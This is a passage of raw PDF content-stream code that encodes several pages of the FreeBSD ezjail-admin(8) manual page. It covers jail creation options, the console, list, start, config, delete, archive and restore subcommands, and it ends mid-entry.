+0.4865 Tw +[(encrypted image jails requires user interaction to enter the passphrase, the)15(y)-736.5(will)]TJ +/TT4 1 Tf +37.8953 0 TD +0 Tw +(NOT)Tj +-37.8953 -1.2 TD +0.0119 Tw +(automatically be started at boot time.)Tj +/TT6 1 Tf +23.4751 0 TD +0 Tw +(Use)Tj +/TT4 1 Tf +1.8171 0 TD +0.0119 Tw +(ezjail-admin startcrypto)Tj +/TT6 1 Tf +-25.2922 -1.2 TD +0 Tw +(to manually start all crypto image jails.)Tj +0 -1.8 TD +(A)Tj +/TT4 1 Tf +1.0625 0 TD +(zfs)Tj +/TT6 1 Tf +2.1406 0 TD +0.0903 Tw +[(jail is back)10(ed with a)]TJ +/TT10 1 Tf +8.6891 0 TD +0 Tw +(zfs)Tj +/TT6 1 Tf +1.8003 0 TD +(\(8\) )Tj +/TT11 1 Tf +1.5063 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0902 Tw +[(lesystem, whose initial quota is gi)25(v)15(e)0(n)-340.2(with the)]TJ +/TT3 1 Tf +19.5963 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT6 1 Tf +0.9403 0 TD +(option.)Tj +-36.8915 -1.2 TD +(The )Tj +/TT11 1 Tf +1.9618 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1571 Tw +[(lesystem by def)10(ault \(see the)]TJ +/TT3 1 Tf +12.2998 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(z)Tj +/TT6 1 Tf +1.0073 0 TD +0.1572 Tw +(option\) is created in the )Tj +/TT10 1 Tf +10.9213 0 TD +0 Tw +($ezjail_jailzfs)Tj +/TT6 1 Tf +9.0015 0 TD +[()-407.2(parent)]TJ +/TT11 1 Tf +-36.3479 -1.2 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +1.4896 Tw +(lesystem and compressed using the lzjb method, as set in the)Tj +-0.5562 -1.2 TD +0 Tw +()Tj +/TT10 1 Tf +0.4438 0 TD +(ezjail_zfs_jail_properies)Tj +/TT6 1 Tf +15.0024 0 TD +[()-250(v)25(ariable, both v)25(alues con)]TJ +/TT11 1 Tf +10.6404 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(gured in)Tj +/TT10 1 Tf +3.5547 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +(\(5\).)Tj +-36.7986 -1.8 TD +0.0631 Tw +(In each case, the)Tj +/TT3 1 Tf +7.2759 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT11 1 Tf +0.9132 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0631 Tw +(ag is mandatory when creating a )Tj +/TT11 1 Tf +13.5959 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0631 Tw +[(le back)10(ed jail \(i.e. an)15(y)-313.2(image that is not)]TJ +-23.4974 -1.2 TD +0.0995 Tw +[(zfs back)10(ed\). An empty directory \(without the)]TJ +/TT10 1 Tf +18.9584 0 TD +0 Tw +(.img)Tj +/TT6 1 Tf +2.7498 0 TD +(suf)Tj +/TT11 1 Tf +1.1972 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0994 Tw +(x in the case of )Tj +/TT11 1 Tf +6.8002 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0994 Tw +(le-based jails\) will be)Tj +-30.8179 -1.2 TD +0 Tw +(created and used as a mount point when running the jail.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(z)Tj +/TT8 1 Tf +1.2001 0 TD +(parentzfs)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0497 Tw +[(Normally zfs jails are created in a child of the same zfs, ezjail k)10(eeps its w)10(orking directories in, as)]TJ +T* +0 Tw +(con)Tj +/TT11 1 Tf +1.4438 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1546 Tw +(gured in the )Tj +/TT10 1 Tf +5.934 0 TD +0 Tw +(ezjail_jailzfs)Tj +/TT6 1 Tf +8.4014 0 TD +0.1546 Tw +[()-404.6(v)25(ariable set in)]TJ +/TT10 1 Tf +7.146 0 TD +0 Tw +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +0.1545 Tw +[(\(5\). )-250(Use)-404.5(this option to)]TJ +-30.0825 -1.2 TD +0 Tw +[(o)15(v)15(erride this def)10(ault.)]TJ +0 -1.8 TD +(This option implies)Tj +/TT3 1 Tf +8.1944 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c)Tj +/TT8 1 Tf +1.2001 0 TD +(zfs)Tj +/TT6 1 Tf +1.8003 0 TD +(.)Tj +/TT3 1 Tf +-15.7283 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(imagesize)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0034 Tw +[(Allocate this size to the jail. W)40(ithout an unit, the size is in bytes. The v)25(alid suf)]TJ +/TT11 1 Tf +31.2632 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0034 Tw +[(x v)25(alues are b/B for)]TJ +-31.8194 -1.2 TD +-0.0001 Tc +0.0557 Tw +[(blocks \(i. e. 512 bytes\), k/K for kilobytes, m/M for me)14.9(gabytes, and g/G for gigabytes. As a refer)19.9(-)]TJ +T* +0 Tc +0 Tw +[(ence point, a ne)25(wly created jail requires 2 MB.)]TJ +0 -1.8 TD +0.0484 Tw +(It is not possible to increase the size of )Tj +/TT11 1 Tf +16.1817 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0484 Tw +[(le-based jails after their creation, short of creating a ne)25(w)]TJ +-16.7378 -1.2 TD +0 Tw +[(image jail with a lar)18(ger size.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(C)Tj +/TT8 1 Tf +1.2001 0 TD +(imageopt)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0532 Tw +[(P)15(ass this ar)18(gument to)]TJ +/TT10 1 Tf +8.957 0 TD +0 Tw +(gbde)Tj +/TT6 1 Tf +2.4004 0 TD +0.0531 Tw +(\(8\) or)Tj +/TT10 1 Tf +2.6052 0 TD +0 Tw +(geli)Tj +/TT6 1 Tf +2.4004 0 TD +0.0531 Tw +(\(8\) when initialising crypto image jails. The)Tj +/TT3 1 Tf +18.3674 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(P)Tj +/TT6 1 Tf +1.2532 0 TD +(and)Tj +/TT3 1 Tf +1.9135 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(K)Tj +/TT6 1 Tf +-39.0974 -1.2 TD +(\(and)Tj +/TT3 1 Tf +2.3508 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(L)Tj +/TT6 1 Tf +1.0074 0 TD +(for)Tj +/TT10 1 Tf +1.5733 0 TD +(gbde)Tj +/TT6 1 Tf +2.4004 0 TD +0.1573 Tw +[(\(4\)\) options will be translated and passed to the respecti)25(v)15(e)15( )-15.1(attach command)]TJ +-7.932 -1.2 TD +0.0861 Tw +[(when starting the jail. Y)110(ou will ha)20(v)15(e)15( )-15(to)-336.1(escape parameters with single ticks to protect them from)]TJ +T* +0 Tw +[(shell e)15(xpansion.)]TJ +-7.1 -4.8 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(3)]TJ +ET +endstream +endobj +19 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT3 5 0 R +/TT4 6 0 R +/TT6 7 0 R +/TT8 8 0 R +/TT10 9 0 R +/TT11 10 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +21 0 obj +<< +/Length 6426 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ +/TT3 1 Tf +3.1666 -4.8 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i)Tj +/TT6 1 Tf +3.3333 0 TD +[(Synon)15(ym of)]TJ +/TT3 1 Tf +5.3186 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c simple)Tj +/TT6 1 Tf +4.8008 0 TD +(.)Tj +/TT3 1 Tf +-14.6529 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(b)Tj +/TT6 1 Tf +3.3333 0 TD +0.1215 Tw +[(T)70(ell ezjail that starting this jail w)10(ould block unattended reboots. This may happen when certain)]TJ +0 -1.2 TD +0.0532 Tw +[(services need pri)25(v)25(ate SSL k)10(e)15(ys)-303.2(that require the user to interacti)25(v)15(ely enter a passphrase. The jail is)]TJ +T* +0 Tw +(then not automatically started at boot time.)Tj +/TT4 1 Tf +-5.9 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(console)Tj +/TT6 1 Tf +-5.7138 -1.2 TD +[(Attach your console to the selected jail. Y)110(ou are logged in as root by def)10(ault.)]TJ +0 -1.8 TD +[(The follo)25(wing options are a)20(v)25(ailable:)]TJ +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +3.3333 0 TD +(Start the jail if it is not running yet.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(e)Tj +/TT8 1 Tf +1.2001 0 TD +(command)Tj +/TT6 1 Tf +2.1332 -1.2 TD +(Use)Tj +/TT8 1 Tf +1.8201 0 TD +(command)Tj +/TT6 1 Tf +4.4656 0 TD +0.0149 Tw +[(instead of the def)10(ault /usr/bin/login -f root.)-514.9(loogin command. A one time change)]TJ +-6.2857 -1.2 TD +0.1793 Tw +[(to use a dif)25(ferent user can be accomplished by using)]TJ +/TT3 1 Tf +23.0942 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(e)Tj +/TT6 1 Tf +1.3793 0 TD +(")Tj +/TT10 1 Tf +0.4082 0 TD +0.1792 Tw +(/usr/bin/login -f user)Tj +/TT6 1 Tf +13.5605 0 TD +0 Tw +(".)Tj +-39.0423 -1.2 TD +[(V)111(ariable: )]TJ +/TT10 1 Tf +4.3031 0 TD +($ezjail_default_execute)Tj +/TT6 1 Tf +13.8022 0 TD +(.)Tj +/TT4 1 Tf +-24.0053 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(list)Tj +/TT6 1 Tf +-5.7138 -1.2 TD +[(List all jails inside ezjail)55(s)-250(scope. The)15(y)-250(are sorted by the order the)15(y)-250(start up, as de)]TJ +/TT11 1 Tf +32.4604 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(ned by)Tj +/TT10 1 Tf +2.9438 0 TD +(rcorder)Tj +/TT6 1 Tf +4.2007 0 TD +(\(1\).)Tj +-40.1611 -1.8 TD +(The )Tj +/TT11 1 Tf +1.8047 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(rst column is the status )Tj +/TT11 1 Tf +9.416 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(ag consisting of 2 or 3 letters. The )Tj +/TT11 1 Tf +13.9136 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(rst letter is the type of jail:)Tj +/TT2 1 Tf +-23.8027 -1.2 TD +(D)Tj +/TT6 1 Tf +2.5 0 TD +(Directory tree based jail.)Tj +/TT2 1 Tf +-2.5 -1.2 TD +(I)Tj +/TT6 1 Tf +2.5 0 TD +(File-based jail.)Tj +/TT2 1 Tf +-2.5 -1.2 TD +(E)Tj +/TT6 1 Tf +2.5 0 TD +(Geli encrypted )Tj +/TT11 1 Tf +6.1641 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le-based jail.)Tj +/TT2 1 Tf +-9.2202 -1.2 TD +(B)Tj +/TT6 1 Tf +2.5 0 TD +(Bde encrypted )Tj +/TT11 1 Tf +6.0532 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le-based jail.)Tj +/TT2 1 Tf +-9.1094 -1.2 TD +(Z)Tj +/TT6 1 Tf +2.5 0 TD +(ZFS )Tj +/TT11 1 Tf +1.9731 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(lesystem-based jail.)Tj +-8.0293 -1.8 TD +(The second letter is the status of the jail:)Tj +/TT2 1 Tf +3 -1.2 TD +(R)Tj +/TT6 1 Tf +2.5 0 TD +(The jail is running.)Tj +/TT2 1 Tf +-2.5 -1.2 TD +(A)Tj +/TT6 1 Tf +2.5 0 TD +[(The image of the jail is mounted, b)20(ut the jail is not running.)]TJ +/TT2 1 Tf +-2.5 -1.2 TD +(S)Tj +/TT6 1 Tf +2.5 0 TD +(The jail is stopped.)Tj +-5.5 -1.8 TD +[(If present, the third letter)40(,)]TJ +/TT2 1 Tf +10.4283 0 TD +(N)Tj +/TT6 1 Tf +0.7222 0 TD +[(,)-250(means that the jail is not automatically started.)]TJ +-11.1504 -1.8 TD +0.0657 Tw +[(The follo)25(wing columns are the JID \(when it is running\), the IP addresses, the name and the full path direc-)]TJ +0 -1.2 TD +0 Tw +(tory name of the jail.)Tj +/TT4 1 Tf +-1.8 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(start)Tj +/TT6 1 Tf +3.7505 0 TD +(|)Tj +/TT4 1 Tf +0.9502 0 TD +(restart)Tj +/TT6 1 Tf +4.9507 0 TD +(|)Tj +/TT4 1 Tf +0.9502 0 TD +(stop)Tj +/TT6 1 Tf +3.1504 0 TD +(|)Tj +/TT4 1 Tf +0.9502 0 TD +(startcrypto)Tj +/TT6 1 Tf +7.4344 0 TD +([)Tj +/TT8 1 Tf +0.4163 0 TD +0.3166 Tw +[(jailname .)-166.6(.)-166.6(.)]TJ +/TT6 1 Tf +7.9343 0 TD +0 Tw +(])Tj +-36.2009 -1.2 TD +0.0298 Tw +(This is a shortcut to the)Tj +/TT10 1 Tf +9.7887 0 TD +0 Tw +(rc)Tj +/TT6 1 Tf +1.2002 0 TD +(\(8\))Tj +/TT4 1 Tf +1.4458 0 TD +(ezjail)Tj +/TT6 1 Tf +3.8804 0 TD +0.0297 Tw +(script. Refer to)Tj +/TT10 1 Tf +6.3093 0 TD +0 Tw +(ezjail)Tj +/TT6 1 Tf +3.6006 0 TD +0.0297 Tw +(\(7\) section)Tj +/TT10 1 Tf +4.5579 0 TD +(Starting jails)Tj +/TT6 1 Tf +8.7108 0 TD +(for details.)Tj +-39.4937 -1.8 TD +0 Tw +(Note that, if ezjail is not enabled in)Tj +/TT10 1 Tf +14.3013 0 TD +(rc.conf)Tj +/TT6 1 Tf +4.2007 0 TD +(\(5\) with )Tj +/TT10 1 Tf +3.8877 0 TD +(ezjail_enable=)Tj +/TT6 1 Tf +8.4014 0 TD +(")Tj +/TT10 1 Tf +0.4082 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +(", nothing happens.)Tj +-32.9995 -1.8 TD +0.1127 Tw +[(Since starting crypto image jails requires interaction with the administrator)40(,)-362.8(the)15(y)-362.8(are not run at boot time.)]TJ +0 -1.2 TD +0 Tw +(Use)Tj +/TT4 1 Tf +1.8052 0 TD +(startcrypto)Tj +/TT6 1 Tf +7.2011 0 TD +(to run them all at once.)Tj +/TT4 1 Tf +-10.8063 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(config)Tj +/TT8 1 Tf +4.3506 0 TD +(jailname)Tj +/TT6 1 Tf +-10.0644 -1.2 TD +0.0566 Tw +(Manage parameters of speci)Tj +/TT11 1 Tf +11.4144 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0566 Tw +[(c ezjails. F)15(or running jails, most of the con)]TJ +/TT11 1 Tf +17.5457 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0566 Tw +[(guration changes described belo)25(w)]TJ +-30.0724 -1.2 TD +0 Tw +[(will not be applied until the ne)15(xt time the jail is restarted.)]TJ +0 -1.8 TD +[(The follo)25(wing options are a)20(v)25(ailable:)]TJ +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r run)Tj +/TT6 1 Tf +3.6005 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(norun)Tj +/TT6 1 Tf +-1.0674 -1.2 TD +(Set the jail to be automatically started or not on boot.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(n)Tj +/TT8 1 Tf +1.2001 0 TD +(newname)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0245 Tw +[(Rename the jail. Unless a custom root directory w)10(as gi)25(v)15(e)0(n)-274.5(with the)]TJ +/TT3 1 Tf +27.4873 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT11 1 Tf +0.8746 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0245 Tw +(ag when creating the jail,)Tj +-29.5181 -1.2 TD +0 Tw +(the root directory will be renamed as well. A running jail may not be renamed.)Tj +-7.1 -4.8 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(4)]TJ +ET +endstream +endobj +22 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT3 5 0 R +/TT4 6 0 R +/TT6 7 0 R +/TT8 8 0 R +/TT10 9 0 R +/TT11 10 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +24 0 obj +<< +/Length 6963 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ +/TT3 1 Tf +3.1666 -4.8 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(i attach)Tj +/TT6 1 Tf +5.4008 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(detach)Tj +/TT6 1 Tf +4.2006 0 TD +(|)Tj +/TT4 1 Tf +0.8002 0 TD +(fsck)Tj +/TT6 1 Tf +-7.8685 -1.2 TD +0.0112 Tw +[(Only v)25(alid for stopped image jails. Attaching a jail means making the content of the root of the jail)]TJ +T* +0.2061 Tw +(accessible from the host. No other sub-commands will function on an jail while its image is)Tj +T* +0.0852 Tw +[(attached. W)40(ith)]TJ +/TT4 1 Tf +6.211 0 TD +0 Tw +(fsck)Tj +/TT6 1 Tf +2.4004 0 TD +0.0851 Tw +[(,)-335.2(the image jail is attached,)]TJ +/TT10 1 Tf +11.4511 0 TD +0 Tw +(fsck)Tj +/TT6 1 Tf +2.4004 0 TD +0.0851 Tw +(\(8\) is run, then the image jail is detached.)Tj +-22.4629 -1.2 TD +0 Tw +[(Y)110(o)0(u)-250(can only fsck image based jails.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(z)Tj +/TT8 1 Tf +1.2001 0 TD +(newdataset)Tj +/TT6 1 Tf +2.1332 -1.2 TD +[(Set the gi)25(v)15(e)0(n)-250(ZFS dataset to be mounted inside the jail )]TJ +/TT11 1 Tf +22.0396 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le system when it is started.)Tj +/TT3 1 Tf +-26.5291 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT8 1 Tf +1.2001 0 TD +(newfib)Tj +/TT6 1 Tf +2.1332 -1.2 TD +(Change the FIB of the jail \(see)Tj +/TT10 1 Tf +12.5244 0 TD +(setfib)Tj +/TT6 1 Tf +3.6006 0 TD +(\(2\)\).)Tj +/TT3 1 Tf +-20.0584 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c)Tj +/TT8 1 Tf +1.2001 0 TD +(newcpuset)Tj +/TT6 1 Tf +2.1332 -1.2 TD +(Change the CPU af)Tj +/TT11 1 Tf +7.7235 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(nity set of the jail \(see)Tj +/TT10 1 Tf +9.1084 0 TD +(cpuset)Tj +/TT6 1 Tf +3.6006 0 TD +(\(2\)\).)Tj +/TT4 1 Tf +-26.8887 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(delete)Tj +/TT8 1 Tf +4.3506 0 TD +(jailname)Tj +/TT6 1 Tf +-10.0644 -1.2 TD +0.1872 Tw +[(Delete a jail. By def)10(ault, this command only deletes ezjail)55(s)-437.3(control )]TJ +/TT11 1 Tf +29.1809 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1873 Tw +(le for the selected jail as well as)Tj +/TT10 1 Tf +-29.7371 -1.2 TD +0 Tw +(/etc/fstab.)Tj +/TT8 1 Tf +6.6011 0 TD +(jailname)Tj +/TT6 1 Tf +4.8008 0 TD +[(.)-500(The)]TJ +/TT10 1 Tf +2.5547 0 TD +(/usr/jails/)Tj +/TT8 1 Tf +6.6011 0 TD +(jailname)Tj +/TT6 1 Tf +5.0508 0 TD +(directory is not deleted.)Tj +/TT3 1 Tf +-25.4418 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +3.3333 0 TD +(Stop the jail before deleting it.)Tj +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(w)Tj +/TT6 1 Tf +3.3333 0 TD +(Delete the directory or the )Tj +/TT11 1 Tf +10.7451 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le backing the jail.)Tj +/TT4 1 Tf +-17.2013 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(archive)Tj +/TT6 1 Tf +5.034 0 TD +-0.1667 Tw +[([)-83.3(jailname ])]TJ +-10.7478 -1.2 TD +0.0139 Tw +[(Create a backup of one or all jails. The jail)55(s)-263.9(root directory tree is back)10(ed up as a)]TJ +/TT10 1 Tf +32.7003 0 TD +0 Tw +(pax)Tj +/TT6 1 Tf +1.8003 0 TD +0.0139 Tw +[(\(1\) archi)25(v)15(e)0(.)-263.9(B)0(y)-263.9(def)10(ault,)]TJ +-34.5006 -1.2 TD +0 Tw +(the jail needs to be stopped.)Tj +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(A)Tj +/TT6 1 Tf +3.3333 0 TD +[(Archi)25(v)15(e)15( )-15(all jails. Y)110(ou must neither specify an archi)25(v)15(ename nor a jailname in this case.)]TJ +/TT3 1 Tf +-3.9334 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(a)Tj +/TT8 1 Tf +1.2001 0 TD +(archivename)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0938 Tw +[(Use this name for the archi)25(v)15(e)15( )]TJ +/TT11 1 Tf +12.5184 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0938 Tw +[(le. If absent, the archi)25(v)15(e)15( )]TJ +/TT11 1 Tf +10.2854 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0939 Tw +[(le name is deri)25(v)15(e)0(d)-343.9(from the jail name,)]TJ +-23.9162 -1.2 TD +0 Tw +[(with the current date and time appended to the archi)25(v)15(e)0()55(s)55( )]TJ +/TT11 1 Tf +22.6184 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le name. Use)Tj +/TT10 1 Tf +5.4424 0 TD +(-)Tj +/TT6 1 Tf +0.8501 0 TD +(to write to stdout.)Tj +/TT3 1 Tf +-33.4004 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(d)Tj +/TT8 1 Tf +1.2001 0 TD +(directory)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.0018 Tw +[(Sa)20(v)15(e)15( )-15(the archi)25(v)15(e)15( )-15(in)-251.8(this directory)65(.)-251.8(I)0(f)-251.8(this option is not gi)25(v)15(e)0(n)-251.8(and )]TJ +/TT10 1 Tf +26.004 0 TD +0 Tw +($ezjail_archivedir)Tj +/TT6 1 Tf +10.8018 0 TD +0.2518 Tc +[(i)251.8(sn)251.8(o)251.8(t)]TJ +-36.8058 -1.2 TD +0 Tc +[(set, the archi)25(v)15(e)15( )-15(is)-250(sa)20(v)20( )245(ed)-250(in)-250(the def)10(ault directory)65(.)-500(V)111(ariable: )]TJ +/TT10 1 Tf +23.7571 0 TD +($ezjail_archivedir)Tj +/TT6 1 Tf +10.8018 0 TD +(.)Tj +/TT3 1 Tf +-38.4922 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +3.3333 0 TD +[(Archi)25(v)15(e)15( )-15(the jail e)25(v)15(en)-250(when it is running.)]TJ +-4.1 -1.8 TD +(Use)Tj +/TT4 1 Tf +1.8052 0 TD +(ezjail-admin )Tj +7.4513 0 TD +(restore)Tj +/TT6 1 Tf +4.4507 0 TD +(or)Tj +/TT4 1 Tf +1.083 0 TD +(ezjail-admin )Tj +7.4513 0 TD +(create)Tj +/TT3 1 Tf +4.3672 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(a)Tj +/TT8 1 Tf +1.2001 0 TD +(archive)Tj +/TT6 1 Tf +4.4507 0 TD +[(to restore an archi)25(v)15(e)0(.)]TJ +/TT4 1 Tf +-34.6595 -2.4 TD +(ezjail-admin )Tj +7.5138 0 TD +(restore)Tj +/TT6 1 Tf +-5.7138 -1.2 TD +0.026 Tw +[(Create ne)25(w)-276(ezjails from archi)25(v)15(e)0(d)-276(v)15(ersions. It tries to collect all information necessary to do that without user)]TJ +T* +0 Tw +[(interaction from the user)55(.)]TJ +0 -1.8 TD +[(The follo)25(wing operand is mandatory:)]TJ +/TT8 1 Tf +T* +(archive)Tj +/TT6 1 Tf +4.8007 0 TD +(|)Tj +/TT8 1 Tf +0.8002 0 TD +(jailname)Tj +/TT6 1 Tf +-1.5009 -1.2 TD +0.0538 Tw +[(Restore this jail. If only the jail name is gi)25(v)15(en,)]TJ +/TT4 1 Tf +19.2719 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.505 0 TD +0.0538 Tw +[(will use the most recent archi)25(v)15(e)]TJ +/TT11 1 Tf +-26.7769 -1.2 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.008 Tw +(le matching the name you speci)Tj +/TT11 1 Tf +12.6748 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.008 Tw +[(ed.)-508(T)80(o)80( )-80(restore an older v)15(ersion, specify the complete archi)25(v)15(e)15( )]TJ +/TT11 1 Tf +24.6296 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(le)Tj +-38.9728 -1.2 TD +(name \()Tj +/TT11 1 Tf +2.7485 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(le name with the date and time of the archi)25(v)15(e)15( )-15(appended to it\).)]TJ +-7.4047 -1.8 TD +[(The follo)25(wing options are a)20(v)25(ailable:)]TJ +/TT3 1 Tf +0.1666 -1.8 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(d)Tj +/TT8 1 Tf +1.2001 0 TD +(archivedir)Tj +/TT6 1 Tf +2.1332 -1.2 TD +0.188 Tw +[(Search the archi)25(v)15(e)15( )]TJ +/TT11 1 Tf +8.1588 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.188 Tw +[(le in this directory)65(.)-438(I)0(f)-438(this option is not gi)25(v)15(en, the archi)25(v)15(e)15( )-15(is)-438(searched in)]TJ +-8.7149 -1.2 TD +0 Tw +()Tj +/TT10 1 Tf +0.4438 0 TD +($ezjail_archivedir)Tj +/TT6 1 Tf +10.8018 0 TD +(.)Tj +-18.3456 -6.6 TD +15.998 Tw +[(FreeBSD January)-250(15, )15998(2011)-19470(5)]TJ +ET +endstream +endobj +25 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT3 5 0 R +/TT4 6 0 R +/TT6 7 0 R +/TT8 8 0 R +/TT10 9 0 R +/TT11 10 0 R +>> +/ExtGState << +/GS1 12 0 R +>> +>> +endobj +27 0 obj +<< +/Length 7382 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ +/TT3 1 Tf +3.1666 -4.8 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +3.3333 0 TD +0.1345 Tw +[(Restore the archi)25(v)15(e)15( )-15(e)25(v)15(en)-384.5(if)-384.5(running on a host dif)25(ferent from where it w)10(as archi)25(v)15(ed. Be def)10(ault,)]TJ +/TT4 1 Tf +0 -1.2 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.6458 0 TD +0.1945 Tw +[(will refuse to restore an archi)25(v)15(e)15( )-15(if)-444.5(the archi)25(v)15(e)0(d)-444.5(host system)55(s)-444.5(hostname, its)]TJ +-7.6458 -1.2 TD +0 Tw +[(FreeBSD 